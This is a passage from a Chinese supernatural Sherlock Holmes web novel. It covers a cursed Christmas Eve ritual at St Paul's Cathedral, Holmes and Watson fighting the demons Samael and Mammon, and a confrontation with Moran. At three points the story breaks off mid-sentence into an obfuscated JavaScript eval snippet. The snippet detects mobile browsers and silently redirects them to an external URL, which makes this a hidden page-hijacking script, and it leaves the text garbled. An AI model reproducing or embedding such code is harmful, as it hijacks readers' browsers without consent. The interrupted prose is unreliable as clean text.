但这并不意味着他们能像前面两批人直接进入大教堂。 只见之前手持圣洁蜡烛的修士修女们放下手中的东西，转而拿起一个功德箱挡在入内的道路中央。 部分信众面露茫然，但更多的人像是早有准备。 他们小心地从衣袋中抽出一张纸条，颜色从灰到银到金各不相同。 细心观察可见那些纸条上分别标注着自愿交纳多少钱财的文字，交纳的越多，纸条的颜色越是金光闪烁。 手捧功德箱的修士修女们优先走到那些持有金色纸条的人面前，在信众虔诚地将纸条放入其中，口中喃喃祈祷的时候，示意对方不要长时间挡住道路，赶快入内找一个不妨碍的位置坐下。 交纳足够“入场费”的艾伦回头看着又一个几乎耗尽家财的信徒，满怀激动，泪水盈眶地走进教堂之中。 这间在他们看来只是更宽阔奢华的教堂，在那些信众的眼中更近似朝圣的目的地。 这种盲信，令他们忽视了种种被压迫的不合理，甚至在伪装的借口下，将这些苦难美化成自身对信仰虔诚的象征。 “真是可笑。” 坐在他旁边的亚历山大低声说道。 他因为经历过金玫瑰庄园一事，仅从外表上看完全不符合福诺克公爵之子应有的年龄。 这次换了身服饰，做好伪装，便堂而皇之地没有坐在前排的位置。 艾伦用气音问他：“你怎么没坐在前排？” “我没交足钱。”亚历山大说。 理由简单有力到令人想要发笑。 “本笃大主教还在大教堂的时候，这里尚且还不像最近这段时间这么嚣张。” 亚历山大低声说道。 “你没有发现吗？今日女王陛下和她的亲信大臣都没有来此。” 往年平安夜的表演，女王都会亲临圣保罗大教堂。 但今晚像是要彻底割席，不仅不见女王的身影，连皇室其他重要人物也不曾露面。 “真是大风暴……” 艾伦听到这些信息的时候，只感到一阵不适的牙酸头疼。 他其实一点也不想关注这些藏于现实表面之下，潮涌的神秘力量。 可不在意，或不想在意，并不意味着它此时不存在。 这个国家、这座城市就如漂泊在神秘海域上的帆船，风平浪静之时还会庆幸水流推着它走得更快更远，可一旦大海掀起风浪，船每一次的颠簸，对船上的人来说，都是一次生死存亡的残酷考验。 “陛下意下如何？”艾伦问。 亚历山大摇头，“不知。” 随后他顿了顿，像是揣测一样说道：“可能，陛下是打算结束这段航行，寻找真正的港口靠岸登陆。” 在他们说话期间，越来越多的人进入了大教堂。 先建的白鸽雕像被立于中央的位置，底座旁的鲜花簇拥着一个又一个亡者的姓名，沉睡于主微微张开的怀抱之下。 亚历山大凝视着那尊雕像。 “那雕像花了将近一万英镑，而每个死去战士每月的抚恤金是两先令六便士，经过前些时候陛下的补贴，提高到了每个月五先令。” 那尊雕像简直不像是为了祭奠亡者的象征，反而更像沉重的山压住了那些本该自由的灵魂。 四周一直未曾停歇的祈祷声，如同囚笼将这里罩得密不透风。 艾伦深呼吸，却感觉自己此刻还是有些喘不过气来。 然而不等他继续说些什么，教堂宏伟的管风琴就响起一阵震耳的声音。 所有人起身，部分信徒甚至激动得泪流满面。 教皇冕下的身影出现。 艾伦忍不住再度深吸一口气，不知为什么他觉得此时教堂内看不见的氛围变得更压抑窒息了些。 并不冗长但足够漂亮的开场词结束后，手捧白烛，身披白袍的唱诗班成员缓步迈入教堂。 乐团早已准备就绪，艾伦看着舞台上的桃瑞思，强迫自己镇定下来。 他悄悄攥紧掌心的东西，等待某个机会的到来。 随着为首的少女向前一步。 空灵的歌声与乐声共谱一曲赞歌。 人们仰头，在今夜此时此刻感谢主对世人的慈爱，也期待天使领命对人世的赐福。 在特意设计的角度下，焰火绽放于空中的瞬间，恰好可以从雕像后的彩色玻璃窗里投映出几位天使的影子。 那些影子挥动着自己的翅膀，仿佛被赋予了生命一般，离开窗框的束缚，在动听的歌声中来到众人的身边。 有幸入内的信众几乎狂热地欢呼这是神迹，是主赐福于他们的象征。 连坐在前排的权贵们也互相低声感叹，好似在讨论这是否为某种仪具或仪阵的力量。 而艾伦等人只感觉后背发凉。 这里，似乎只有他们三人提前发现了异常。 他们脚下铺设于教堂内的柔软红毯正逐渐变黑，仿佛有腥臭的污血在毯面上不断蔓延，直至要将它完全变得泥泞污浊。 而立于其上的人们还没有发现脚下的异常。 沉溺于幻梦般光彩中的盲目者，下意识忽略了脚下危险恐怖的黑暗。 若不及时发现，深渊就会主动伸出手，将他们拉入绝望之中。 *** “那边开始了。” 约翰抬起头，看向不远处在烟火下显得格外神圣美丽的大教堂后，对歇洛克如此说道。 这其实是显而易见的事情，现在他再用言语说一遍，多少是因为内心紧张。 歇洛克似乎也发现了这一点。 “不用担心，约翰。” “该做的准备我们都已经完成，‘大火’已经被点燃，现在只等对方主动将东西拿出‘屋子’。” 他的话语依然镇定，有种让人安心的理性感。 接着他摸到了自己的烟斗，但想了想这里还是学院，便选择了放弃点燃烟草这个动作。 此时他们就站在那条连接着修道院与大教堂的朝圣之路上。 原本在日光下无比圣洁的道路，在夜幕与雾气的笼罩下竟显得有些阴森。 两旁摆放的各代圣人像开始转动它们的眼球，以诡异的姿态斜视这两位闯入路中的不速之客。 夜雾朦胧，随后逐渐变浓，最后变成了如同实体的罩子，将他们所处的这条路与现实的外界隔离。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190800|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不管是吵闹的工厂，还是盛放的烟花，抑或是人群的熙攘，都被某层看不到、摸不到的隔阂过滤得非常模糊。 仅仅是刹那间，这里已经被某种【力量】拉入深渊维度。 浓雾中，一道看不清来者身份的身影立在道路尽头。 模糊的声音传来—— “两位怎么在这里？” “这里并不对外开放，请两位先生赶紧离开！” 是谁？ 狡猾的魔鬼将真正的地图藏在自己的箱子里。 猜错的话，就揭不开魔鬼的伪装，也打不开那个箱子。 自然，他们想要找到前往【果园】的道路也会随之闭合，无法再度被打开。 约翰感觉自己的掌心已被汗水打湿。 在他看来，那人影既像男人又像女人，听声音也辨不出对方的年龄或其他显著特征。 若是仔细推敲，又觉得和他认识的每个人都有相似之处。 倒不如说，他现在反而是越想，心神越乱。 “两位！速速离开！” 那声音变得越来越严厉，听起来像是修道院的某位教师。 不过歇洛克的声音依旧没有丝毫慌乱。 “还需要继续伪装下去吗，怀特先生。” “或者说，暴怒的魔鬼萨麦尔。” 四周忽然一静，仿佛连风声也被按下了暂停键。 浓雾中的“那人”发出略显刺耳的女性笑声。 “你说我是詹弗斯·怀特？” “呵呵呵呵……可他已经没法说话了，一个哑巴可不能在这里和你对话。” 这笑声犹如锋利的指甲抓挠着玻璃，令人难受得恨不得捂住耳朵。 “你把自己伪装成詹弗斯那种受害者的人设的确有趣，但同样也有漏洞。” “若是普通人，就必定不可能感知到‘那个房间’，也就是【箱子】里的一切。” “若是超凡力量的使用者，又不至于当场就昏迷不醒。” 歇洛克冷声说道： “最重要的是，你一直在用拙劣的演技试图混淆视听，让我们误以为这座修道院的教师们，尤其是纳舒瓦纳院长和西斯比修女才是罪魁祸首。” “但实际上仔细调查近期修道院的政策，可见他们两人已经推测出有什么超凡生物混入了学院之中，借此才会不断在学院各处布置仪具来抑制仪阵被篡动改写。” 迷雾如白纱般被拨开，露出隐匿其中的男孩面容。 “詹弗斯”眼神阴翳地盯着他们，口中吐出的音节反而更像是西斯比修女教训人时严肃的音调。 “当时你让那两个小子去修士院就是打的这个主意吗……甚至连仪阵被篡改的端倪也发现了。” “但你知道你在和谁作对吗？” 祂的声音愈发尖利起来。 歇洛克不慌不忙地看着祂。 他的手指向不远处，犹如庞然大物占据伦敦城显著位置的圣保罗大教堂。 “为什么这么长时间以来，大部分人只将那诅咒视为传闻？” “为什么传闻里强调的是‘想要换取财富权力，最后就堕入深渊’？” 他发出叹息一样的感慨。 “让人拥有一步登天能力的不是区区修道院，而是背后大教堂的暗示。” “有那些上位者的指示与掩盖，失踪的又恰好都是家世背景穷困的学生，又有谁能第一时间想到不对。” “那些失踪的学生连外派去当实习修士修女的机会也没有，就被带到了那个‘漆黑的房间’里，连灵魂也被折磨压碎，化作绝望的染料，逐渐将这里变成污浊人心的温床。” 说着，侦探的手从指向圣保罗大教堂，转而指向脚下的地面。 “他们，现在不就在这里吗！” 他怒喝着。 64.64 开始下雪了。 贝克街的居民们几百年来第一次看到有那星星点点的白色飘落在他们的眼前，肩头和手中。 那些纯白会先冷得人一哆嗦，然后又与背景里那些五光十色的圣诞装饰共同组成一种惹人兴奋的雀跃。 “孩子们”第一次像真正的孩子一样开始欢呼。 连报童也甩开了手里的报纸，在街道上来回奔走呼喊着，“下雪啦！” 他手中的报纸像飞鸽一样呼啦呼啦全都飞了出去，但想到在这条街上他应当遵循人类的法则，又赶忙扯着嗓子要把那些调皮飞走的报纸全都喊回来。 “回来！回来！快回来！” 街边花店的店主茫然地看着白雪落在花瓣边缘，又融化成水珠。 他带着这盆含苞待放的花已经在这里住了两百年，但这也是他第一次看见这条更换过很多次名称的街道也会迎来下雪的瞬间。 一时间他反而有些茫然起来。 如同当年初次见到妻子的毛头小子，那时陷入爱河的他第一次在心中产生了茫然无措，和紧张悸动的心情。 刚选好花束的哈德森太太付完钱，路过门口时提醒对方。 “天冷了，记得把花搬到温暖的室内去。” “相信……来年的春天，它应该就会盛放了。” “哦——对对对对！” 店主如梦初醒。 他手忙脚乱得像是和过世的人类妻子第一次约会一样，立马搬起自己重视的那盆花就往店里冲。 哈德森太太微笑着摇摇头，轻嗅怀中的百合清香沁人。 她走在这条今夜热闹非凡的街道上，往家的方向出发。 一旁路上有马车踢踢踏踏地跟着。 坐在驾驶位上，有着小虎牙的年轻人抬了抬帽子，喊她： “夫人，要坐马车吗！” 哈德森太太回头看他，“噢，加尔文。” “今天可是平安夜，为何不早点回家点起壁炉，做一顿大餐，然后捧着热可可享受电台里的圣诞特辑节目呢？” 一直保持着年轻人模样的车夫，似乎连心态也一并定格在了这个年岁。 他拍拍身为自己好搭档的那匹黑马，然后回答老妇人的话。 “我也想啊！” 风雪想要压过他的声音，却又压不住。 “不过啊——不仅仅是我，这条街上还有很多人都在等着那个结果到来！” 众人都在等着彻底改变他们，或者说是“祂们”的那个特殊节点到来。 正如名为约翰·华生的医生初次踏入这里，为贝克街带来初始的变化。 也如名为歇洛克·福尔摩斯的侦探选择来到这里后，为贝克街日积月累一个质变的结果。 哈德森太太点头，又摇了摇头。 加尔文在风雪中喊道：“难道我说得不对吗？” “的确有些误解。” 风雪中，有人早有准备地撑伞走在贝克街的路上。 那人稍稍将伞抬高一些，露出一张在贝克街无人不知的脸。 迈克洛夫特·福尔摩斯笑道： “哈德森太太的意思是，最后那个节点到来的时候，我们迎接的不是一个最终结果，而是一次【选择】。” “我们，需要在最后那个时间节点做出最终的选择。” 远处大本钟的时针转过一整圈，洪亮的钟声响起时，圣保罗大教堂里对主的颂歌还未结束。 但在教堂室内长椅上的艾伦已经忍不住抬起了脚。 那些翻涌的黑泥已经变成狰狞的手掌，仿佛要将他们直接拉入地底深渊。 “这到底是什么？！” 他咬着牙，用气音问按理说更懂这些的亚历山大。 “是裹着蜜糖的毒药，缀着长线的饵料……” “能不能简单点说！” 亚历山大说出一句话，“按理说是幻觉。” 艾伦露出了和之前在负维度深渊金玫瑰花园里如出一辙的崩溃表情。 “你跟我说这是幻觉？！” 幻觉能变成这样吗？！ 教堂里燃烧着万千烛光，暖意比陈酒更醉人几分。 大半人的面颊都染上了驼红，神智仿佛被浸泡在高浓度的酒精里一样熏熏欲醉。 现在已经不只是唱诗班在歌颂主的圣名，几乎是所有人都在高举双手，齐声吟诵那仿佛裹满光辉的词句。 于是抬头愈是仰望明光，期待着会有美丽的天使降临赐福。 就愈是忽略了脚下翻涌的黑暗里，有魔鬼嗤笑着要取走他们的灵魂。 黑暗骤然上涌，如同骤然涨潮的海浪悄无声息地卷走几个角落里的人。 这样的情况曾经也暗中发生在圣玛丽珍修道院，但它现在开始明目张胆地出现在本当圣洁的教会心脏枢纽之中。 可惜他们还醉于圣光之中，如被风浪卷席的小麦，沉浸于自我的狂欢中。 小麦在挥舞手臂，欢呼镰刀的到来。 羔羊主动伸长颈脖，期待铡刀落下的瞬间。 教皇是田埂边缘的小麦，也是领头的羔羊，他有幸被挑选出来成为看守的稻草人，或是俯身摇尾的牧羊犬。 年迈的教皇颤颤巍巍地起身。 他现在连独自站立都如此吃力，可依旧死死握着权杖不肯松手。 他并非使者，甚至是天生就无法感知那些超凡力量。 曾经这种得天独厚的天赋，令他在精神容易崩溃的同僚中脱颖而出，现在却又让他痛恨自己无法享受那伟力能够带来的奇迹。 明明那些圣人诞生于世的年岁，比他还要长，可他们—— 可祂们依旧青春不老，永享长生！ 而他呢！ 不管做什么都逐渐有力不从心的感觉，哪怕是面对他最喜欢的小男孩都开始不复之前的凶猛。 随着死亡到访的脚步声接近，他更是在每夜的梦里都能看见那些腐烂腥臭的尸体。 他知道那些尸体有敌人的，也有战友的，还有莫不相干者的。 尸体们时刻都在窃窃私语着，要从泥泞的黑土中起身，撕开世俗权势脆弱的保护，在梦里将他拉入地狱受刑。 他会难以自制地从梦中惊醒，然后大喊着让医生前来。 可那些无用的凡人只会安慰他，这不过是身体虚弱导致的多梦和易醒。 不行！不行！不行！ 他耗费了多少心血，才坐在如今的位置上！ 他才享受了多长时间的权力，凭什么就要如此让位？！ 教皇伸出颤抖的手。 他已经太老了，老到可能今晚的教堂长椅上都有人在期待，能不能直接出席一场盛大葬礼的程度。 可他还不想死，对权势和生命的渴望，让他紧紧抓住修女捧来的【圣杯】，然后将它举起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196229|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灿金的杯盏在灯光下闪烁着迷人的光泽。 但今夜此时，杯中不盛历来平安夜赐福时该有的清泉，也不纳如本笃大祭司等使者正确使用时会有的璀璨光辉。 杯盏边缘逆流着黑色的泥沼。 众人脚下的黑色如颤动翅膀，发出嗡鸣的蛾群，朝着那灿金的光亮扑火般飞去。 教皇身后的白鸽雕像转动血红如宝石的眼眸，看向了他。 天使们手持花篮洒落漫天花雨的场景如此震撼人心，连见惯大场面的权贵们也不错眼地沉浸其中，不再多加思考。 沉醉于歌声中的信众一个接一个被卷走，化作污浊的黑色冲入那金杯之中。 艾伦有些坐不住。 他几欲想要起身，但又被亚历山大拽住胳膊拦下。 “还没到福尔摩斯先生说的‘节点’。”亚历山大低声说道。 “但是——”艾伦着急地看向台上的桃瑞思。 领唱的年轻修女双手交叠握在一起，但看着教皇狂喜身影的表情并不如其他人一样狂热沉醉。 她的双手紧攥着。 她身边其他年轻的学生们如同高温下的蜡烛，身体逐渐软化，然后滴下漆黑恶臭的液体。 一旁的奥利弗半张脸已经融化，剩下半只眼睛还在痴狂地看向那【圣杯】。 他的嘴唇也变得残缺不齐，可颂歌依旧以不可思议的方式从他身体的每个毛孔里飘荡出来。 悠扬的歌声里传来轻微的违和感，那是有人牙齿打颤的声音。 有人天生无法感知超凡力量，他们是绝对秩序的宠儿；那自然就有人生来就更容易感受到那些神秘力量的涌动。 但越是靠近深渊，也意味着越是容易跌落深渊。 米路双股颤颤，感觉自己像是身处一场噩梦。 他该不会是在更衣室的小房间里睡着了？ 抑或是主发现了自己为了换取今后的便利，主动向神父推销自己身体，而降下的惩罚？ 他感觉四周的同学，或是前方的宾客大半都已经变成了半融化的人形蜡烛。 这样恐怖的场面让他几乎唱不出那些烂熟于心的歌曲，只能大脑空白地盯着那唯一美丽的金色看去。 直到身后有人……不，现在或许只能被称之为类人的半固体猛然坍塌倒在了他的背上。 米路感到自己的身体僵住，连回头看一眼情况的勇气都不复存在。 更不用提，那种半凝固的东西还带着和人体差不多的温热。 就在他快要彻底崩溃的时候，圣保罗大教堂的门扉被人暴力地从外猛然打开。 全副武装的白色骑士们手持长剑，冷声说道： “举起手来，立刻停下你们的仪式！” “从者不杀！” 屋外的冷气打着旋涌进屋内，于是霎时间，满屋都飘起和外部一样的鹅毛大雪。 米路眼睛一亮，几乎是想也没有想地就要奔出去求救。 但当他踏出半步的时候，某只漆黑的手掌就从下方抓住了他的脚踝。 真正因为毒药死去的詹弗斯正用黑漆漆的眼睛看着他，然后咧嘴露出了嗜血的笑意。 噗通—— 又一个人消失在黑色的泥泞之中。 “到时间了！”亚历山大语气急促地说道。 他与艾伦，以及台上的桃瑞思不做丝毫犹豫，直扑那盏被黑色玷污的【圣杯】！ 65.65 朝圣之路被污浊的欲望玷污，眼下已化作污秽黑暗的地狱之道。 道路两侧的圣人雕像被塞进恶魔们嗜血的灵魂后，化作恐怖的刽子手，要将眼前好似不自量力的两人头颅当场砍下。 被魔鬼囚禁压榨许久的恶魔们觉得这是一次难得的轻松放风时间，可萨麦尔再清楚不过，这些在普通人类看来相当棘手的存在，在那对搭档看来，或许不过是有些碍眼的路障。 恶魔们狞笑着挥出利爪。 沿途的草木并非它们的目标，可仅仅是利风擦过，就足以让那些生长多年的老树拦腰折断。 然而，依旧有更快一步的风声切断它们的进攻节奏。 其中一名恶魔才刚伸出手，但它的攻击未落实前，就发现自己的视线开始旋转起来。 然后咚的一声—— 石雕的头颅如同烟花般整齐划一地炸开，最后碎成满地的石块与飞溅的尘埃。 歇洛克扯住手杖的一端，仅用横扫这个动作就足以破坏那些失去自我意识，犹如傀儡一样的石像载体。 “注意萨麦尔。”他低声说道。 约翰点头。 凶狠的恶魔们来势汹汹。 曾经那些在画像上显得无比慈悲温和的圣人们，眼下无一不是面容吊诡，动作癫狂。 尖锐的多足从花岗岩的躯壳里生长出来，最终异化成恐怖的姿态朝他们扑来。 但在侦探手中，手杖的木质结构此刻竟比花岗石还要坚硬几分。 犹如毫无怜惜之心的工匠，歇洛克抬手落下之间，就将那些石像敲得粉碎。 不过萨麦尔在哪里？ 约翰谨慎地环顾四周。 被敲碎的石粉将四周的雾气搅得更加混浊。 在能见度进一步降低的糟糕视野环境下，约翰清楚地知道，继续持久战对于他们而言，只会是一个不明智的选择。 而他的左轮手/枪是远距离制敌的关键。 他和歇洛克背对背站立在几乎快成为乳白色的浑浊雾气里。 敌人必定不会选择难以攻克的正面进攻，更大的可能是从背后来袭。 击倒他后，歇洛克的后背就会暴露，想再做偷袭也不是难事。 约翰沉住气。 他身后的那些恶魔在魔鬼的号令下，仿佛发了疯一样不顾同行者，也不顾自己死活地扑杀过来。 而他一直没有转身或侧首。 因为他足够信任好友的实力。 浓雾弥漫。 只是某个呼吸的瞬间—— 一条死白的手臂骤然从视野的盲区里刺出。 危机感像轰鸣的警钟在他脑海里炸响。 约翰猛然俯身。 在他脚下，无数死白的手臂像摇曳的海草般撕开砖石与地面，要把他扯入无尽绝望的深渊。 【区区人类竟妄想追杀我！】 萨麦尔同样死白的面容就镶嵌在那团由手臂组成的怪异球体中央。 虽然这句话说得非常具有气势，可萨麦尔感觉得到构成自己的每一寸都在叫喊，某种危险好像即将到来。 是那个把自己当成人类的怪物吗？ 虽然那家伙很危险，但此时现世维度法则在保护人类的同时，也在限制着他们，歇洛克·福尔摩斯不可能越过那些铁律，直接让那些祂特意准备的一次性武器消失。 拖延住了他，还有什么…… 下一秒枪响代替了思考，告诉祂答案。 子弹冲出枪膛，并不打算隐匿情绪地在空中发出愉悦轰鸣。 ——！ 子弹穿过致命的部位。 炽热的火焰点燃要害，以祂本身为薪柴点燃一场不死不休的大火。 萨麦尔发出凄厉的惨叫。 【玛门！！！】 命中祂的不是一颗子弹。 那名为约翰·华生的人类的确打中了第一枪，但紧随其后的第二发子弹几乎紧贴第一声枪响，一起命中了同样的位置。 祂从第二颗子弹上嗅到了同类的气息。 不远处，被漆黑夜幕与虚幻烟花簇拥的圣保罗大教堂仿佛在俯视着一切。 钟声敲响的瞬间，白鸽振翅而飞，将浓雾进一步散播到城市的每个角落。 沉浸在平安夜欢愉氛围中的普通人还未发现，城市阴湿的各处角落已经悄无声息地涌现出无数对着可口灵魂虎视眈眈的超凡生物。 一只白鸽飞越夜空，衔来的却不是橄榄枝。 那是一只白玫瑰。 一般用于装点葬礼的花朵轻飘飘地从空中落下，像是带来了死亡的宣告。 白鸽在飞至朝圣之路上空的时候，突兀地被某只无形的手从中撕开。 淋漓的鲜血转瞬间竟成了一场瓢泼的猩红血雨。 失去魔鬼力量供给的石像们重新凝固，不再继续移动。 但约翰不敢大意，紧盯着它们和那只受伤濒死的魔鬼。 他微微后退一步，后背和歇洛克抵在一起。 “歇洛克，这是……怎么回事？” “贪婪的魔鬼，玛门。” 腥臭的雨水将他们身上的衣物染成了诡异的红。 歇洛克说道： “但刚才开枪的不是你。” “呵呵……的确不是我。” “但我有一个和你身边那位一样趁手的工具，他能够为我代劳这种小事。” 一名老者从这条几乎已经看不出原本美丽景色的朝圣之路尽头走来。 他看起来丝毫不像一位手中沾染无数鲜血的魔鬼，反而如同儒雅的年迈学者，正准备在一个闲适的雨夜，邀请同样醉心学术的年轻后辈，一同来书房喝着茶探讨迟迟无法解开的难题。 血雨停下。 歇洛克没有任何犹豫地冷声反驳： “约翰是我的朋友，而非工具。” “噢……你还真是有趣。” “我原本以为只有低阶的家伙们才会觉得自己能与人类有共同话题，而你竟然也有类似愚蠢的想法吗？” 玛门似笑非笑地望着他。 约翰握紧手中的左轮，感到掌心因为紧张而分泌汗水。 那些汗水甚至令他觉得持枪的手感都非常湿滑不适。 那个人是……近来他总能从歇洛克和迈克罗夫特口中听到的那个名字吗？ 暗中组织策划多起臭名昭著犯罪者……莫里亚蒂教授？ 歇洛克没有理会对方那番说辞。 他只是紧紧盯着那位老者的身影。 “你的本体不在这里，在……” 他朝大教堂的方向看去。 “如果低估那位陛下的决心，你也许会直接丧命于那些白骑士团使者手中。” 玛门口中发出嘶哑难听的笑声。 “你知道的，歇洛克。” “风暴来临的时候，整艘船都会随之震颤颠簸，这个时候若有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201966|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动凿开船舱的墙壁——” 被接连两颗秘银子弹火光点燃的萨麦尔已经化作常人无法观测的火焰，浓雾违反常理地像是燃油浇了上去。 这道并不烧毁建筑或花草的火焰迅速往四周蔓延。 从大教堂彩绘玻璃窗里飞出的每个天使手中都捧着金灿灿的仿制杯盏，祂们欢笑着要给世人带来“祝福”。 漆黑黏稠的液体只能被少数人看见，更多的人还未意识到自己身上到底沾染了什么，就被无形的火焰点燃。 “薪柴”越多，“火势”越大，直至将整个伦敦点燃。 随后，一切都开始在火焰中扭曲。 【时间到了，歇洛克！】 玛门精神振奋，语气激昂。 【即便你我殊途，但我依旧会邀请身为同类的你共赏这足以被称之为‘奇迹’的一幕！】 祂的语气意味深长。 【回头看吧，通往果园的路已在我们脚下。】 四周的景象如同在高温火场下变得模糊扭曲，崩坏的朝圣之路被一条毫无特色的乡间小路取代部分。 道路闪烁不定，好似即将报废的机器，只能在短暂的时间里勉强呈现些许的画面。 约翰抬头，无论目光扫视到哪个方向，都感觉有过量的信息在瞬间毫无章法地涌入自己脑海之中。 于是本该如规整有序风景画的各种颜色就彻底无序地搅拌在一起，最后成了污浊难看，且令人觉得恶心想吐的黑。 玛门露出温和虚伪的笑容。 【两位，我先走一步。】 祂风度翩翩，往乡间道路尽头那棵高耸的苹果树走去。 “闭眼！” 约翰强忍住那种仿佛重度晕船一样的恶心感。 “但是道路——” 再晚一步，说不定那条羊肠小道就要消失不见。 歇洛克的语气很坚决。 “如今在这条道路上每踏出一步，都可能落入其他的时间地点。” “神秘与现实的纬度开始融合，不管是时间还是空间都被扭曲，你看到的每一帧画面里都无序融入了过量信息，在这里继续找路，只会让你的精神先崩溃疯狂。” 侦探说道： “相信我！闭上眼，跟着我往前走！我们必定能追上那家伙！” 听到他这番话，约翰不再有任何犹豫地闭上眼。 黑暗中，他感觉自己的手被对方拉住，随后两人开始往前奔跑。 黑暗取代迷雾的瞬间，耳边开始回响无数的声音。 烟花升空，风雪呼啸，人群嬉闹，鸟群啼鸣，水流潺潺，烛火摇曳—— 同时，他们迈出又落地的每一步都感觉不同。 虚空的无力，雪堆的湿滑，砖瓦的坚实，树木的粗糙，流水的湿润，余灰的微热—— 好像在奔跑的步伐里，他们不仅穿过了数个场景地点，连气温不同，天气不同的四季也一并甩在了身后。 然后，群星草与月光花的香气逐渐变得浓郁起来。 现实维度的气息逐渐淡去，神秘强势宣告自己的来临。 约翰感觉得到脚下跟随着歇洛克的步伐，大踏步迈出的道路已经彻底变成了乡间小道。 但在没有听到好友的声音前，他一直谨慎地没有擅自睁开眼。 直到歇洛克逐渐放缓步伐，说道： “我们到果园门口了。” 【唱诗班的圣诞节诅咒完】 66.66 放眼看去，乡间小路的两旁遍布随风摇曳的群星草与月光花。 这也是约翰第一次见到未经加工研磨的花草。 和他预想的相似又有不同。 群星草从外表看就是路边随处可见的杂草，但它本身会不分昼夜地散发一种柔和的光。 当它们数量足够多的时候，地面就成了一片星海，耀眼得连天上的太阳也需避让它的光芒。 而月光花虽被叫作花，看起来却更像一颗颗鹅黄色的圆形果实。 那些并不盛开的花朵，犹如圆月悬挂叶梢，好似伸手一摘，就能够将月亮握在掌心。 在这条羊肠小道的尽头，一棵看起来过分高大的苹果树伫立于此。 它看起来已经和脚下这片古老的土地年岁相差无几，约翰觉得如果有人能够用一把斧头将树干拦腰砍断，恐怕想要数清年轮也是个费力的体力活。 约翰盯着眼前这些梦幻的景象，恍惚间错神了几秒。 歇洛克说道：“有些意外？” 约翰顿了顿，然后诚实地点头。 “我以为，情况会更出乎我的意料，或者超出我的诸多设想。” 但无论是作为神秘代表物的群星草与月光花，还是以各种化名流传在传说与神话中的“果园”与“果实”，似乎都未曾超越人类已有认知的想象范围。 甚至随意到，当他前往伦敦周边郊游时，就能找到相应的原型。 “实际上，不管是人类还是其他，都无法构造超过自身太多想象范畴的东西。” 歇洛克说道。 “哪怕是魔鬼或者天使，乃至神——我觉得也都没有脱离想象力的最大范围之内。” “即便那些存在随手展现的伟力，能够轻易杀死人类？” “的确。” “因为，那力量只能杀死部分软弱的人，却无法征服所有的人。” 歇洛克与他并肩快步向那棵苹果树跑去。 侦探一边目视前方，一边对他说道： “祂们或许是顶天的树冠，可别忘了，一旦树根不再继续供给营养，茂密的树冠也会随之枯萎。” “你不觉得自己的话，正是印证了人类就是如此可悲的短视，才会一而再再而三地犯下诸多罪孽。” 有人说道。 “歇洛克！” 这次换成约翰猛地拉住他的肩膀。 脚步暂停。 一颗被控制好方向的子弹，在他们鞋尖几厘米远的地面留下一个深深的孔洞。 拿着手/枪从路边树后走出来的高大男人，嘴里还叼着点燃的雪茄。 他深深吸了口气，然后将最后一点雪茄和手/枪一起扔了下去。 皮鞋踩过仍旧带着热度的枪口，再碾过明灭着猩红光点的烟头。 他取下背上的枪，迅速调整好了射击方向。 这是一位专业的士兵，更是一名优秀的猎人，也是一个被刚才那位老者称之为难得趁手的工具。 约翰看着地上那弹孔，然后视线上移，最终落在他手里的武器上。 “□□。” “明雷顿出品的二代收割机系列，每次扣动扳机就能打出至少三百发的细密子弹。” 闻言，对方露出森白的牙齿。 “眼光不错。” “这也是我最喜欢的‘收割机’。” 枪口上抬，如同野兽露出锋利獠牙。 当即，歇洛克与约翰分别向左右散开。 细密如雨的子弹在惊雷一样的轰鸣声中，将脚下的地面犁过半边。 飞扬的石子擦过脸颊，带来细密的痛感。 歇洛克用拇指擦去脸颊上的血迹。 “现实的法则与神秘侧的力量纠缠在一起了。” 正常情况下，距离神秘越近，现实维度的产物就越难发挥应有的功效。 好比火器/枪/支，或者蒸汽造物，以及那些由黄铜打造的收音机等精巧物件，在深渊维度中大多都是哑炮，或是只能看而无法正常使用的精致废/物。 但现在，在不可思议的【奇迹】影响下，神秘力量可以在现实维度大行其道，人造工具也在深渊世界里咆哮着火光。 “你在枪支上附加了仪阵？” 被子弹划出的伤口无法自主愈合。 歇洛克看了眼指腹上的血迹。 “抑或是玛门帮你完成了这道工序？” 塞巴斯蒂安·莫兰端起□□。 枪身烫得他的手指有些痉挛，可他从未感觉自己的思绪如此清明和亢奋。 这想必正是教授赐予他的力量之一。 现在，面前两只猎物的任何一举一动都逃不过他的眼睛。 莫兰说道： “我听教授提起过你的名号，福尔摩斯先生。” “他说你也应当是个聪明人。” “聪明人不与愚钝为伍，也只有充满智慧的人才能摘下最后那颗果实。” “如果你足够聪明，就该明白从刚才开始，你就应当果断丢下身边的累赘，这样你或许还能追上教授的步伐。” 